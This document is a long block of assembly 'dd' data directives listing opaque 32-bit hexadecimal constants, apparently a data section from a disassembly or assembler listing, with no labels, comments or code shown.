dd 480D4988h, 70CE1BE8h, 10547CE4h, 0B7A77FF2h, 0B44677A5h
dd 67CDF491h, 478B6346h, 12903739h, 4B18B66Eh, 6C3FA16Eh
dd 14E8280Ah, 0AA4B0CA6h, 0AAAB8AD5h, 0A7CD70D6h, 56A631F1h
dd 0A25D8F4Fh, 299D09E2h, 442A029h, 402E78Ah, 8E3B7A1Dh
dd 0CC50229Dh, 2DADB7B5h, 0A145EB17h, 0C6CD32A0h, 0A8DD219Fh
dd 0C46C575Eh, 76EC525Eh, 4B7EBFC1h, 39F676C6h, 0A8108873h
dd 0E9AF877Fh, 0E35B029Dh, 0F33710D6h, 0C5225406h, 584A945Fh
dd 0A1061EBAh, 4988E451h, 0ADBF7353h, 0FE73F107h, 0D4C493D1h
dd 96252F24h, 75CEA93Ch
dd 0E710A9C8h, 92EE1321h, 0C09E5157h, 4EFCD34Dh, 0C14B41E0h
dd 0B9392099h, 7C7D9AFh, 0D0F6C876h, 6F148152h, 3C8803E6h
dd 92807F52h, 9BEB8936h, 54408198h, 4597A18Fh, 0C09E16DBh
dd 0D3C5D3A4h, 448789BEh, 0D5A062ADh, 0CEA04286h, 7392EA2Bh
dd 242A0B90h, 5965E0ECh, 0F9A7FDBBh, 0D155A834h, 0EADA8A30h
dd 19CED3E1h, 5990CDCCh, 0F4846C9Bh, 0B0D40EF8h, 0D70D3136h
dd 0DA2A1BBFh, 718DF61h, 287043A2h, 7B4D5F7Ch, 0DF30AFC4h
dd 8F060A7Ah, 20C4281h, 0A90C1C61h, 4D3E668Bh, 0DD9EE3CDh
dd 8368F12Fh, 6A71A04Ah, 2BC9FB4h, 7D5451CCh, 88EC7311h
dd 35D3FF30h, 7B990AAh, 9D35C43Eh, 0A51F9007h, 0AB4475BCh
dd 0A9A88E01h, 0A5E6529Ah, 0F997ECCDh, 1E1BD308h, 387A7E77h
dd 0C0F85124h, 1009C49Ah, 0B025B133h, 0F6CA0D82h, 23EE321Bh
dd 656B685Ch, 0E671C122h, 4629932Dh, 0B5555B02h, 2B0756C6h
dd 974575C4h, 0D4ADA793h, 4FF242F5h, 89E6E811h, 0EE526461h
dd 3567CB9Bh, 0F236633Bh, 0C481CBE4h, 0A8C1737Ah, 8847940h
dd 480CED50h, 0BBB77EFFh, 86ABAC54h, 3408422Ah, 0DC8DD1C2h
dd 68B7DB2Dh, 44B4C7E6h, 6BA63569h, 8ACE88C6h, 0AEE484F1h
dd 0AA6C4E4Fh, 3472835Ch, 0B837D00Ah, 81F818A7h, 0E5BCD4F6h
dd 7BED469Bh, 774F7173h, 0D9FA4B77h, 93E88225h, 963A0B47h
dd 0D155B1B3h, 664EAA67h, 659CC9F8h, 8FE115EAh, 171DDE58h
dd 6662AAC7h, 0B3A75748h, 0FFE155A2h, 210B33F1h, 0A144D541h
dd 158CD705h, 0AE03B77Eh, 0A82376h, 0C62016C3h, 3C9028EAh
dd 0C936EB19h, 6A6566CEh, 0C14C2B3Bh, 378003F1h, 5145AD5Bh
dd 60A4A6C7h, 2D6A462Dh, 0FB2C80Fh, 83AEB8BBh, 3408A272h
dd 1826F05h, 27C176E3h, 0C76ACE11h, 6C79D11Bh, 5F2416C3h
dd 5DDB8CF3h, 3058D7C3h, 0CA6CB8A3h, 11E8E6C9h, 0B8FF2A3Ch
dd 448FA21Fh, 816C749Dh, 1386EB9h, 0A493BE14h, 9593E5EFh
dd 5B524E41h, 9FDF74E5h, 0D3C54123h, 216D88E9h, 2014FF4Bh
dd 0CDBD8409h, 95D2AA9Ah, 0EA5A8C39h, 0FA5067EFh, 0C735C896h
dd 0FC554Fh, 0AA9E38C4h, 0B2C4AB01h, 0CE6263E5h, 0E18DC798h
dd 575729B0h, 24A58ADh, 8CF2D714h, 70AAAA33h, 0D662F4CCh
dd 62DF4C1Eh, 92BAE7B8h, 837BFE3Ch, 0B14411CBh, 0C66A795Fh
dd 73F8A3D6h, 0FE664F7Bh, 0D279BA60h, 60F5A523h, 935B5C07h
dd 0C7FD436Ah, 0E2297400h, 6D347A11h, 9E137BD5h, 4C46FC6Fh
dd 3E8F0738h, 5328E77Bh, 7C48822Bh, 9370E6A5h, 0A6E141C6h
dd 8796B89Ah, 45CA2E44h, 4613E15Bh, 136D1A4Ah, 0D4AB57B8h
dd 0E7363BD4h, 66649835h, 469B41D7h, 0CC56DF56h, 0D09D19CEh
dd 17095D2Bh, 0F0289FEFh, 4296D872h, 0E6F41D2Fh, 0CA8EA070h
dd 0D38B8504h, 3AF517A5h, 77FECF0Eh, 4A6E8C3Ch, 96182C29h
dd 0D313600Bh, 0D675E28Bh, 0EA1EE026h, 0F77E279Fh, 0F7417FB6h
dd 0F7472D36h, 1C35E396h, 0BFB883Eh, 2D91B4C1h, 0E57A9EE9h
dd 72659F15h, 0D75F7B34h, 3D9FC522h, 0CA6B3DD9h, 68719D3Ch
dd 0A98F80C8h, 0DA8E6099h, 0A5D3FE4Dh, 0B02B4872h, 7D638C39h
dd 24DC3B26h, 84B30730h, 0E636E1FFh, 75FD2BBh, 98C696A7h
dd 9D462579h, 5273BE0h, 71B3CDE4h, 23FCF21Ch, 39DCC381h
dd 0E37D477Ch, 967C9F83h, 0A5EB9F6h, 13A80FB2h, 19BA9D2Bh
dd 7393B588h, 7C15D937h, 0E4920090h, 96EA05EDh, 1E1577A7h
dd 1ABDFEA1h, 0DF53CDE1h, 74821501h, 12911332h, 40D0AF7Ah
dd 0EF1D48ABh, 0BD0C0FF8h, 0D11C3673h, 0BE62D725h, 76EF354h
dd 0CB8D4900h, 0C8A02103h, 3D400F64h, 1CB1081Dh, 0D73188D8h
dd 0F335BF63h, 3240A314h, 0D92DCBDBh, 34DFE1Bh, 0F5849EB2h
dd 0EAC86E23h, 96A065DFh, 0D959A403h, 705E5C9Fh, 0FFD442DEh
dd 0B96A6FFFh, 0FE4970FEh, 0AA4F7E3Eh, 9718F60Ch, 0D6DE472Ah
dd 0D8B75306h, 59E3068Ch, 496DF13Eh, 0FD946DD5h, 0E6FA2892h
dd 2113415Ah, 1F02E283h, 4C02C5Eh, 0DA769661h, 98858F64h
dd 6BEDAAE6h, 0B1B6C29h, 0EBCFD707h, 58ABFAE1h, 2CF4300Ah
dd 64D4C806h, 2E4C3C6Bh, 35A3E394h, 4D804ADCh, 62E0FE1h
dd 0BF8BBE9Ah, 271A67EDh, 0D91D5ADEh, 5A2177B1h, 0B48EF8D4h
dd 0F0C5A27Fh, 88D630B2h, 8FEBFC63h, 0F7E63800h, 3C1AAF26h
dd 0CC4214FCh, 5AB2CEDh, 292203F3h, 0BFD9331Ah, 0BD79974Eh
dd 8B8201F7h, 0D52279C2h, 2CF94CDDh, 0E3C53B84h, 0C34905E6h
dd 0E6BEB3BFh, 4979D3AAh, 0EA24DCAEh, 8A6A96h, 4AE31C58h
dd 6FB33BFAh, 180B44E5h, 6A595E47h, 0B34CAF6Eh, 7F6EAA6Bh
dd 35C9707Fh, 0B173BCACh, 0F9FDD997h, 0EE016A09h, 97464FCBh
dd 50D363DFh, 715C3202h, 0F5E6EF54h, 0F22DD614h, 3910C6D8h
dd 728A6444h, 0B9288D2Ah, 0DAB8CC20h, 0D5B09108h, 1EBBCAAh
dd 0C0BDB554h, 0F034D80Ah, 6E3948Fh, 0F727D567h, 1F142317h
dd 16EF35A6h, 358AD968h, 0E1B9A550h, 0A1E4DE5Ch, 0E2703FF5h
dd 73A1C443h, 0E90EFC65h, 3BCCF847h, 7FA6E55Ch, 14B27D16h
dd 0D8F75B5Ch, 81327573h, 0E0476459h, 2B86165Fh, 0BA232423h
dd 432E1F75h, 534BD1FDh, 5F70F946h, 0E2E1646h, 628843E6h
dd 33D2259Eh, 5CBEB612h, 0ED35B245h, 0AC0DE395h, 0E332BC92h
dd 0E6DD765Bh, 6BFE7C32h, 0F882C038h, 0F38154F5h, 6696AEAh
dd 5A75571Bh, 0B2ADD834h, 0B50E009h, 468BFD3Ch, 67BD9743h
dd 0E530AB26h, 0C58CE7B8h, 63CD4BBFh, 0E0E0C766h, 7C9DA426h
dd 0A583187h, 6E1B1C3Dh, 688BAAD9h, 0A60EC18Fh, 950FC2D6h
dd 3C7BD659h, 62B0512Ch, 0B46576A1h, 2E12BBC6h, 15CE5E8Bh
dd 22DFD938h, 7AFA4012h, 188D8518h, 0F790D22Ah, 5C10E4B6h
dd 9A115134h, 0FF5B94Fh, 737D4405h, 920E6C35h, 1E0F22CEh
dd 24D0520Ch, 0C5B8E0CCh, 8BEB0D28h, 0B2D4A1B4h, 0B9A3E37Eh
dd 0C41B8311h, 0BF8825D1h, 0C00AFA53h, 0F9AE60BCh, 0A214D8C3h
dd 4C05D941h, 571A3CAEh, 0F3783466h, 48C20250h, 0CA913CBCh
dd 0A3D41F54h, 148B4565h, 0D8636BB6h, 0CDDE3573h, 0C1EDD2FEh
dd 1BF8F1DAh, 7186C0C2h, 72E127C0h, 0ACA2E03h, 5F154A82h
dd 0DDAAA835h, 775BD5BBh, 92F585AFh, 0DAAAFC74h, 9376F664h
dd 0F28CC808h, 0B05BDC0Bh, 0D3AAD780h, 0DE31066h, 0E9A2544h
dd 0EC04EFDBh, 0AB03F88Eh, 0BFB0AEC5h, 7ED5804Ah, 82C0F3DDh
dd 0A84F3405h, 0C868370h, 0E2A030F5h, 5E21A025h, 12BA8AE6h
dd 56EE7404h, 3B7DFB8Ah, 6ACB51B0h, 178D25D0h, 5DC0A8C3h
dd 0D2BD82E5h, 0AF32F05Ch, 0EA3BB580h, 9EC010D5h, 0AC68E6F6h
dd 0D64D3D4h, 9AF6AB5Dh, 9514392h, 0E4D0867h, 0B1215332h
dd 4ECB0C2Fh, 0B3BAF579h, 58339147h, 3379C42Dh, 5B217FA2h
dd 0E4414321h, 15B32EDh, 526B337h, 0A91E9BB7h, 5FF62122h
dd 4EC87965h, 0A0D3583Bh, 859E9786h, 0C932E2E2h, 4DB142D1h
dd 0E3846C7Bh, 0BFFCD4D0h, 5A66169Dh, 495BD2CFh, 0EB59B173h
dd 60B6C6A8h, 0F213B38Ch, 0BC514ECCh, 152DEFF5h, 0ECA8911h
dd 0F6428299h, 0AE29C6Eh, 4BA5BC4Bh, 8CCE2C3Ch, 2486ACD9h
dd 0B60CCBF5h, 2D27494Dh, 4C53BD11h, 9066DC05h, 0A5F37995h
dd 6F91E1FEh, 0F7112492h, 0E74496Bh, 0D015316Bh, 13C814F3h
dd 319D1130h, 5335FF81h, 6463C39Eh, 228150E4h, 0E35DF554h
dd 422F873Dh, 0C55AE916h, 0F2FCB00Fh, 698FA00Ch, 9B14654h
dd 1BDE7BBFh, 790A4F91h, 0D4229B06h, 7CEDF8A3h, 0E74AF2C5h
dd 0C462DA43h, 0D2831DB2h
dd 1E9BDEBh, 0A4F353B6h, 70407174h, 933DC060h, 0F7ED7B4Fh
dd 82C65E69h, 2075DBA1h, 70EF7456h, 0F2202513h, 0D9429B55h
dd 1B9B92F9h, 0D038B3CDh, 54057634h, 3B93A277h, 0C0F89883h
dd 0AC1FA0Fh, 0E730307Bh, 27493C9Ch, 0E2D5881Bh, 0A72203F8h
dd 0E3463EF8h, 306D7B27h, 5A8FBD8Eh, 3A1EE340h, 6AFE6CBAh
dd 68937A87h, 5C56546Dh, 1B725C9Eh, 3556D783h, 14972C9Bh
dd 3135FAB9h, 0E9F4061Ah, 3C296A6Eh, 0E2C12FE9h, 0D781AAF1h
dd 6004422Bh, 0EE217907h, 163995C6h, 59D17F7Ah, 0FA06D79h
dd 77D8BBF8h, 33AA6E2Fh, 0E839D7E5h, 83C8FBDEh, 372C3074h
dd 9C17A911h, 0CDAA8BA3h, 0ADF2B942h, 1C5193CFh, 0C84B8104h
dd 0FE628C65h, 5EB9E154h, 85874BCDh, 0B44EE52Fh, 257E2D16h
dd 565AC13Ch, 0E7CFCF4Eh, 4E71967Eh, 0D19E3A05h, 693D6E40h
dd 0CDABCA02h, 2C1D80DAh, 417A67DDh, 0A1A528Dh, 5DD52BD9h
dd 0F2FECD92h, 43FFEE37h, 0BBDDACC3h, 9828B7A8h, 8A99B6BAh
dd 0A6E4619h, 50A9E303h, 4FB58DEAh, 0EE308453h, 3498EA9Fh
dd 8CD0574Eh, 0C72BF7F4h, 9D8D2AA0h, 5FB1DCDAh, 2B60AF95h
dd 0BBC3707Dh, 0B0A54328h, 0F8BA148Eh, 2F7AA7Ch, 2C5AAC3Dh
dd 56A932D2h, 0A069C672h, 0BF5C37CAh, 0CB4657BDh, 2505C042h
dd 4B73D3B5h, 318796C6h, 0F308F56Fh, 38B77BCAh, 9BE2D174h
dd 1CBF2E61h, 0AC214156h, 0B16A72B7h, 4DCBDF3Ch, 9D08859Ah
dd 0C74664DFh, 1C5B6911h, 66D6453Eh, 24511E12h, 879ECCEEh
dd 0B7C01290h, 0F44ABADCh, 77A073F8h, 680ED4E7h, 3F567EF2h
dd 0FC312C6Dh, 0F008F202h, 0E7526597h, 7184C94Bh, 47D9BC71h
dd 0EB153571h, 0C13399A4h, 558987B3h, 0C4AD3E4Bh, 0D081316Ah
dd 0ED653BF3h, 0E26A80D4h, 356DD845h, 290D5764h, 7F7A6A2Dh
dd 11A71492h, 0A47C78E0h, 0F2C64292h, 0FB5FC1A9h, 87F78852h
dd 3BCB9A44h, 0FC6AC4DFh, 15894585h, 8F7BBE4h, 0D6C33A60h
dd 0DAEEA41h, 4D9C73F1h, 9A92C8B7h, 0C0B6D0B4h, 3E37803Ah
dd 2E8DCA53h, 0FF82DEF1h, 0F2E05BFBh, 1DE0D003h, 0E861C7B5h
dd 193A7805h, 7E88EB6Fh, 625F86F9h, 2950107Eh, 1ED76929h
dd 0EECA4D2h, 3B0DEA81h, 530B39B7h, 75BE268Fh, 0FE290E66h
dd 4959BA85h, 205559ADh, 0E5B95C1Eh, 367BD6C8h, 2C613450h
dd 0ED3E8778h, 6107A1C9h, 0A853B23Fh, 85A84E2Ch, 644506C6h
dd 7D16409Eh, 0BE1A7892h, 77917F04h, 0DC9D8712h, 5959C8A9h
dd 0F3B9CE6Ah, 13F99D12h, 0C6EDF477h, 7F0431F6h, 792560B0h
dd 6C747E38h, 0F959CC41h, 0CD521E8Ch, 0DC7C34CBh, 7D4D369h
dd 2E8D1902h, 50C51DBEh, 7513286Ah, 1649D77Fh, 0A10F0F4Eh
dd 0C006F2DCh, 0D7B6FAC1h, 1B145774h, 0C77B98E3h, 64614FE6h
dd 7E894968h, 83C4020Eh, 65788DA4h, 47BCAA43h, 0B5A8BF25h
dd 3F4D47C2h, 4B1D494Eh, 59F59766h, 61BCE4DEh, 108AA6D3h
dd 0E1DFFCD2h, 938C3F1h, 0C652464Ah, 71222F2Ch, 0E1A20649h
dd 39F8193Bh, 0BD0E18CAh, 0BE3283D3h, 0D51259E2h, 5CE1302Ah
dd 7F323C3Dh, 7CE4B774h, 46D682Bh, 0F3F344Ch, 6A54C7E4h
dd 308E5EE5h, 0A084B0h, 27C6A953h, 25684897h, 6B3F37C4h
dd 0DB0EB97Dh, 0B358B47Eh, 0FF26FFBBh, 4C671C8Bh, 105EF4AEh
dd 1521D8B6h, 0D54F0319h, 1D7A4EFCh, 0B5C8765Dh, 70FBA309h
dd 3B55553h, 14F9B7DAh, 0B144166Dh, 8D89D302h, 3E2DC50Dh
dd 4792A42Dh, 0F238CF03h, 0E5DF5E38h, 16C64037h, 4AD43B2Ch
dd 88718C55h, 4AB7C471h, 9AF2BC3h, 0CD6639B0h, 3168ABDh
dd 4FCC512h, 83D6EF68h, 0E5D5EC3Eh, 81ADB2F6h, 0C08DA3E3h
dd 4761FFDBh, 0CE63E016h, 0D46965C3h, 98AC6901h, 0F8BFDFD4h
dd 4539B80Eh, 0D1D3D195h, 167118ABh, 64426406h, 35C1B45h
dd 0ABE019B3h, 38A6E17Eh, 0BE07E7F3h, 0F4A4D2D5h, 9DA39F4Ah
dd 0CCF60DABh, 369AFEDh, 0F33FD755h, 10300A16h, 24C1289h
dd 39E5BAF2h, 786E61F5h, 0FC1B199Eh, 60705F61h, 0B928F2CAh
dd 6AAF64BCh, 0A3437129h, 0D62F2506h, 32AF6464h, 3B0F1209h
dd 1E303CA9h, 6038535h, 371046FDh, 876B99F0h, 0AA25E546h
dd 6AE6B760h, 4E42D2EFh, 661491C3h, 14259826h, 0FA95B2C0h
dd 0D2A1C3CCh, 0B1EF6F9h, 4C404AEAh, 44E1A511h, 7BFA3388h
dd 0E27D78BDh, 0C2E3E59h, 57917888h, 50CC93FCh, 0A42FBEDFh
dd 1DFD8ECAh, 26509F1Ch, 0A3B6F4B7h, 7441AE3Eh, 284AC55Ch
dd 28EFA35Bh, 0B6B78B1Ch, 8B70BF46h, 0C480F281h, 415E955Fh
dd 0CB1F1A53h, 11723F4h, 0C38C2881h, 4FC86267h, 20FBA195h
dd 9BCC9EA0h, 4C2D057Bh, 93CD5C07h, 31998936h, 0A7E35783h
dd 5C7D6A7Eh, 0C25E0019h, 3C85C088h, 91C238B2h, 531AAB11h
dd 3AA7094Dh, 0AD25A30Eh, 0EFB007E4h, 8B057F45h, 23583BC7h
dd 0F532E9EAh, 6807A00h, 0E524B94Ah, 373F60F6h, 96A4411Bh
dd 0A5E21A73h, 9E93D613h, 0AE570BBFh, 1688973Ch, 810C761Eh
dd 0BA28A46Dh, 0E6DBBE28h, 4EE20AB9h, 0CE8FCD0Dh, 1D70716Fh
dd 7522F36Fh, 7BC12C58h, 0F042563Eh, 0FEE56F12h, 753ACE53h
dd 5A43B472h, 0B200E7BDh, 0C2A54BBh, 0C481A9B5h, 8A6EA91Ch
dd 6B69DEB1h, 48EE8E4h, 0EE44DD24h, 0AACADF8Fh, 2624FB83h
dd 880E127Fh, 26E752CAh, 0D77AB655h, 71A6A760h, 0E75D7E28h
dd 0EBA28607h, 982313C0h, 0B9EE568Dh, 96F18629h, 1AF8591Bh
dd 0D875D013h, 3BB32D71h, 0FC866B9Dh, 3B03AD8Ch, 0AF67121Bh
dd 7C766783h, 2E3A86C8h, 17C98FC4h, 2B6640C0h, 4289069h
dd 0FBF58B83h, 27973E43h, 0AB3A1177h, 0C096D637h, 0F2957455h
dd 0DC79041Eh, 85ACADF3h, 6271A52Ch, 165FAA86h, 0AE96C04Eh
dd 99F56B78h, 0A1B70195h, 6D2096ABh, 6B5B782Fh, 0CEE9B0D1h
dd 8EF0E72Bh, 30DBED95h, 0FF935D08h, 47797402h, 2C29D742h
dd 675EF4FEh, 0F6F3C095h, 0DA37378Ch, 3D54767Dh, 7CC7E3B9h
dd 0B34DE0ACh, 273424A3h, 6894898Bh, 8573FB58h, 69799C49h
dd 1B386025h, 368048FFh, 0F46AC5B4h, 259A6C5Fh, 0E5D81023h
dd 43864DD1h, 365674B1h, 85FFACBEh, 5EA142CEh, 193E0F20h
dd 0FC977D61h, 45B0161Fh, 0ECFE73CFh, 86140A5Dh, 0F7382D22h
dd 7AE73Ch, 0AE89DB65h, 0CAB96966h, 58618276h, 0ED38680Bh
dd 969059CAh, 4F645F72h, 4BF8AEFAh, 0A706045Fh, 0F303A323h
dd 73B645F1h, 9FD2FC6Eh, 0F8CE5586h, 3E335C67h, 0F16E8521h
dd 3D11BF97h, 0ED97AC4h, 418BA23Dh, 0C17ECB89h, 384964F6h
dd 35A138Ah, 0A1440E95h, 4A0C6B2Eh, 7681A320h, 0F592CD69h
dd 0CDC34B3Ch, 0E1975EB7h, 10EA31F6h, 798B13E2h, 224050E4h
dd 3CB96A31h, 0E41CE47Ah, 18709BD6h, 1378E661h, 0E9D0253Bh
dd 0FFE4E605h, 0E1237EC6h, 0F45614F6h, 0C2A05C79h, 71F67FAFh
dd 24D0A761h, 4B5143D7h, 0C1207C5Bh, 0AA3FAE5h, 543D69A5h
dd 0B0F7255Bh, 60815F5Dh, 87BE2872h, 0E4150300h, 5282D609h
dd 5265625Dh, 0FBF719BBh, 0C5395C1h, 174A1657h, 1E8E6B0Ch
dd 0B86A49D3h, 0C3CBED88h, 4E623B4Eh, 0FBEC7BB5h, 142E6BBAh
dd 5DE760E7h, 57F07393h, 0FD9784B5h, 0A8430197h, 0C2B37972h
dd 7A6B6FBEh, 0D6C50006h, 101CDE11h, 0E831BB3Ch, 0F6DD8084h
dd 28E2805h, 284FD0B9h, 1D689040h, 0E942DDECh, 0C4AB0461h
dd 0AA8A741Eh, 0C26CE05Eh, 1C903F24h, 0A799D8CBh, 0D5999B3Bh
dd 738CCD7Bh, 5DFA20B1h, 0AB5ED1E6h, 9117596Ah, 6699ADEFh
dd 0B53ECE53h, 55DD3051h
dd 0E21FBF23h, 582B72EDh, 0EAF9383Bh, 34E24C0Ch, 61479EF7h
dd 9C860A94h, 35B5E879h, 0E1831C32h, 38405DDAh, 88C97636h
dd 93657587h, 4D008031h, 0B635B2E1h, 0C4A645C7h, 0E5AB4AD3h
dd 0A5BD3846h, 28CA2335h, 1450DE28h, 0D0A9070Eh, 0CFB6C833h
dd 0C5BB265h, 8442D762h, 287CE312h, 29127A22h, 65DD65Bh
dd 0D3BB4E6Ch, 0B9D079E0h, 130348A9h, 22213E8Fh, 2A5836F4h
dd 0CE57361Dh, 74188CF2h, 0DB17D5CDh, 0C8ACD9C2h, 37F7B505h
dd 6C8B9C53h, 8B8101AEh, 0E5979C69h, 655FC6D9h, 0BAFA7664h
dd 15BC74ACh, 47055284h, 50A7B9F2h, 375202F6h, 8D62C574h
dd 4E44D591h, 0DDF6818Dh, 43BA3E21h, 0E472DD4Ch, 95AFB153h
dd 0B744F46Ch, 4E841FF0h, 98E4DA6Dh, 0A85EFE5Bh, 2C4DBEA8h
dd 0E9CD5B2Dh, 233D7DDEh, 0BFBECFBDh, 95203Ch, 75956789h
dd 0CE65CF27h, 963A0FDCh, 43634AC1h, 0CF780B7Ch, 8DC14C04h
dd 460400C5h, 48728C94h, 0F9412E77h, 0CEFF5588h, 0D3AF6F8Fh
dd 0DC23C676h, 11E542FEh, 5AC8CDE8h, 90602E99h, 0AF01C854h
dd 0EA23EA52h, 0D6F748A2h, 0BDB7B23Ah, 0DE6FAC68h, 4855176Ah
dd 2A9355DEh, 3831DF84h, 5F615404h, 0D57A203Dh, 0C1A59DEFh
dd 86DF02B9h, 0AE2DB9C3h, 0D6C56A36h, 51087BEAh, 0C726DC4Ch
dd 854851Ch, 3A088B72h, 8DAFC0E4h, 15F0CEF8h, 8ECBDD5Ah
dd 80440024h, 0C4436CA6h, 12F0DAFFh, 0D398B768h, 9BBE773Bh
dd 866F2670h, 11B63ACDh, 0F10729D6h, 15C8C987h, 51B83C03h
dd 44A18DB7h, 0D7FA2A6Ah, 3CCAA1Bh, 0F2F8F82h, 64D4CD1h
dd 0F576FADh, 0BE4BE94Fh, 0DC36AAD6h, 0EF3276D9h, 5C18B503h
dd 0F340C401h, 0A68C69F9h, 914E0FF8h, 3435261Fh, 3C40FA6Fh
dd 0D897604Eh, 72BB8939h, 2858FBDAh, 0D767AC06h, 14D2A0E4h
dd 0A7EB1651h, 0F390A440h, 0E55F04ACh, 0DDE3677Ah, 9CAB6A55h
dd 41452108h, 0B6A67023h, 0FFA7E935h, 71813585h, 17BAFD5Bh
dd 0FF884C6Bh, 890A3E79h, 3BDB97BDh, 0B45D0EA9h, 0B2E902DEh
dd 0B256FEBAh, 49318961h, 9501BA95h, 64BBD85h, 0E6B8B73Eh
dd 0C6050F73h, 8397B630h, 0F21EDE5Bh, 0A66CCFC1h, 0C415158Dh
dd 36441B52h, 615A969Eh, 0F649794h, 4BFD72F3h, 0AF7F296Bh
dd 33075CBh, 3EB7D079h, 0B0CBE59Fh, 0C2F5CAC8h, 584083A3h
dd 147A63DFh, 4CAB6A04h, 0F9935AD8h, 0ACDEF89Ch, 0A54EA070h
dd 32BF012Ch, 0C331A566h, 0ABDC6A1Ch, 86A6922Eh, 2BE305AAh
dd 23AD655Fh, 0E1AA6428h, 62E34FA5h, 49C7C0E7h, 9150AE24h
dd 733D9BB6h, 17925B15h, 3F3AAFFh, 0B31625F1h, 0A4D222C8h
dd 0B899F024h, 453E6221h, 693A19D7h, 716EFC2Bh, 15C059A7h
dd 3C3CE932h, 0F7660AD1h, 86700696h, 84FE854Dh, 0DE7F3CFh
dd 87580B72h, 0FEFD93ACh, 8B852849h, 8E84393Bh, 28AAF397h
dd 0BC9C60AAh, 0B183B227h, 0C98118BEh, 0CA2963B5h, 80130677h
dd 3ECD4EA7h, 0E3025A0Fh, 0FC012699h, 4256C893h, 5DEC2F7Dh
dd 81144F49h, 2F13BBF8h, 0AD247EB3h, 0BBFACACAh, 507E4D24h
dd 0E7135653h, 9D06B89Ch, 3A86094Ch, 52A0A5D3h, 8D3E1FA2h
dd 11322E75h, 21AD8F20h, 0C9A5D663h, 42E19058h, 2122691Eh
dd 0EB0D787Bh, 2BCE0223h, 58F8E8C1h, 1E2EFD88h, 0EE074F91h
dd 83D33D9Fh, 6C046669h, 0F2E7E8F5h, 0E3BE86E2h, 419224CFh
dd 0EF8ACCE1h, 6737A7CDh, 0E1A56DB8h, 0E126BD19h, 9934F8CBh
dd 51185E43h, 0EC3E843Fh, 7ECFB4EFh, 0E05BD1DFh, 74EA5111h
dd 564BC057h, 30E4108Bh, 523437C7h, 2635C2C1h, 20A04AFFh
dd 0E04CE3B7h, 1ABE855Dh, 0B89EDE26h, 613E94B6h, 0E525606Eh
dd 0ABBA00F3h, 5701DDC6h, 8B7E4582h, 0A4C1ECA8h, 0D2032E65h
dd 0B7D9D404h, 92FF0FEAh, 1EA2A359h, 0C6AF60DAh, 0A815619Ah
dd 8685FA54h, 1168494Ch, 1F1EE36Fh, 7749FC7Eh, 0F9426001h
dd 2BA49337h, 64085B5Dh, 0A10C70B3h, 0AB398865h, 5138F2Fh
dd 26ACAB9Bh, 415B563Bh, 0D322A6ACh, 11CBA6F6h, 37654051h
dd 0E04828C1h, 689F15C3h, 5C4F4E6h, 0E913C71Dh, 1F0A8E24h
dd 0E0F5CA2Ch, 822B5C88h, 0A999D974h, 0B7050D2Dh, 0C512304Bh
dd 0CFA378C2h, 0FB0A373Fh, 0B7360803h, 4F96293Bh, 0C647B634h
dd 3786980Fh, 0F0BE6049h, 0BC69C4EFh, 4CCD733Dh, 6F4D4847h
dd 0DF23A739h, 82722D9Ah, 6A66EA75h, 725FEFDh, 59332B25h
dd 48151F87h, 80C3BBCCh, 61F44052h, 0D1FC788Bh, 0FC7BE1A4h
dd 0D6EFF650h, 54D00DC5h, 0C1304872h, 73A9E9E6h, 394C27C2h
dd 84FE9D2Ch, 371288FDh, 99D3A6AAh, 4644F667h, 6AEA769Bh
dd 2131EE30h, 0AB386527h, 343CB427h, 0C5B09C11h, 7F587277h
dd 856DA424h, 6D6C6013h, 0AE7F0039h, 6AEAF13Fh, 2030B0A0h
dd 0F0DC5E92h, 8D937A33h, 0D8305437h, 467421E1h, 38E1AC1Dh
dd 3FD78C69h, 9B2B5500h, 852076D3h, 1560E52h, 0C1113FAFh
dd 76E9F50Ah, 0BD84DBB5h, 0B43196D6h, 27CC867Ah, 1F058519h
dd 1B7EEF8Ch, 948BD54Dh, 804C351h, 9A01EE88h, 9C6E0576h
dd 6A2288A5h, 4D3C1BF3h, 53081841h, 2F8D7008h, 6F16524Fh
dd 0A11CF7D7h, 0AC222C26h, 665F2C6Dh, 0BDF9F3C9h, 36E33FCh
dd 0C5113A3h, 0BF68D36Ah, 0E0DF7BC4h, 7068BF8Ch, 0D0C91675h
dd 5B0E4251h, 0DB2E915Ch, 0D49E0F66h, 0EDE4057Dh, 0C9DF26C6h
dd 0F0E7D302h, 983F3BCAh, 35145D62h, 4A0C5329h, 41431D09h
dd 87D64CB6h, 14B1A0FCh, 0A7F9D80Fh, 0D9D62191h, 0CE43C589h
dd 2571E2FBh, 0B17AF49Ah, 2D7E9AB0h, 0B67A608Bh, 7C920D6Bh
dd 8B4383B5h, 4529260h, 0ACB99B5Ah, 0A1D63BFAh, 438D3D0Dh
dd 3B0499Dh, 0C5D69B9Ah, 0A5D4A525h, 0B3161FC5h, 7375B488h
dd 0D93DA74Bh, 7D9B4377h, 2DECE2C3h, 0F6A02CBFh, 0B872B2EDh
dd 0B1ECF749h, 0E7B29442h, 0FFA5F82Ah, 6458F3CAh, 0FF8AF7DFh
dd 0C9A1DCD5h, 56C82227h, 3FA62A94h, 9CC07D5Eh, 6FAB509h
dd 480E7165h, 2EA60064h, 0A472C043h, 0F6AEC373h, 0BE4FB549h
dd 0E01EEC7Ch, 0F80E8089h, 0BC862BC8h, 0C24AC266h, 1527AC9Fh
dd 44CEAA3Eh, 2BC62D90h, 14CDD38h, 4FD594C6h, 0B51D010h
dd 0F002C5BDh, 49C6D551h, 0E09CC1B6h, 0B298B4DAh, 0C262FCDCh
dd 2090DA93h, 863E7597h, 0B11BD951h, 0F88000Dh, 484CB93Dh
dd 0ED0D1148h, 323A1C65h, 0A731387h, 0C3C43247h, 0C405CF7Dh
dd 14C7494Bh, 0FDDDEB78h, 50856694h, 0E412D4A2h, 18DDD724h
dd 0DA6471A9h, 0C33DABA1h, 0CB4D9AAh, 0B20326B4h, 0BF644FC4h
dd 0D2992502h, 0A6081406h, 6E3985h, 239E4092h, 0DA0F1FE9h
dd 526993D8h, 0AD289B93h, 10FCB5C9h, 0DF9FBE6Ah, 29EE0837h
dd 4BB95700h, 7918AB75h, 713C649h, 3FE3DF6Eh, 0DBF32559h
dd 6EE51022h, 0AB642241h, 0D6985D6Ah, 0CAB7E511h, 18CEF12Fh
dd 3116B754h, 0FF79E58Fh, 7CEAB5A2h, 0F564C6D3h, 0A11A2B38h
dd 0E4F57B9h, 380F68E4h, 0FE751D58h, 0EC378C39h, 34B7B6BCh
dd 3F713FF2h, 0BB5647E3h, 71EFF0E5h, 875B96E5h, 78A4C430h
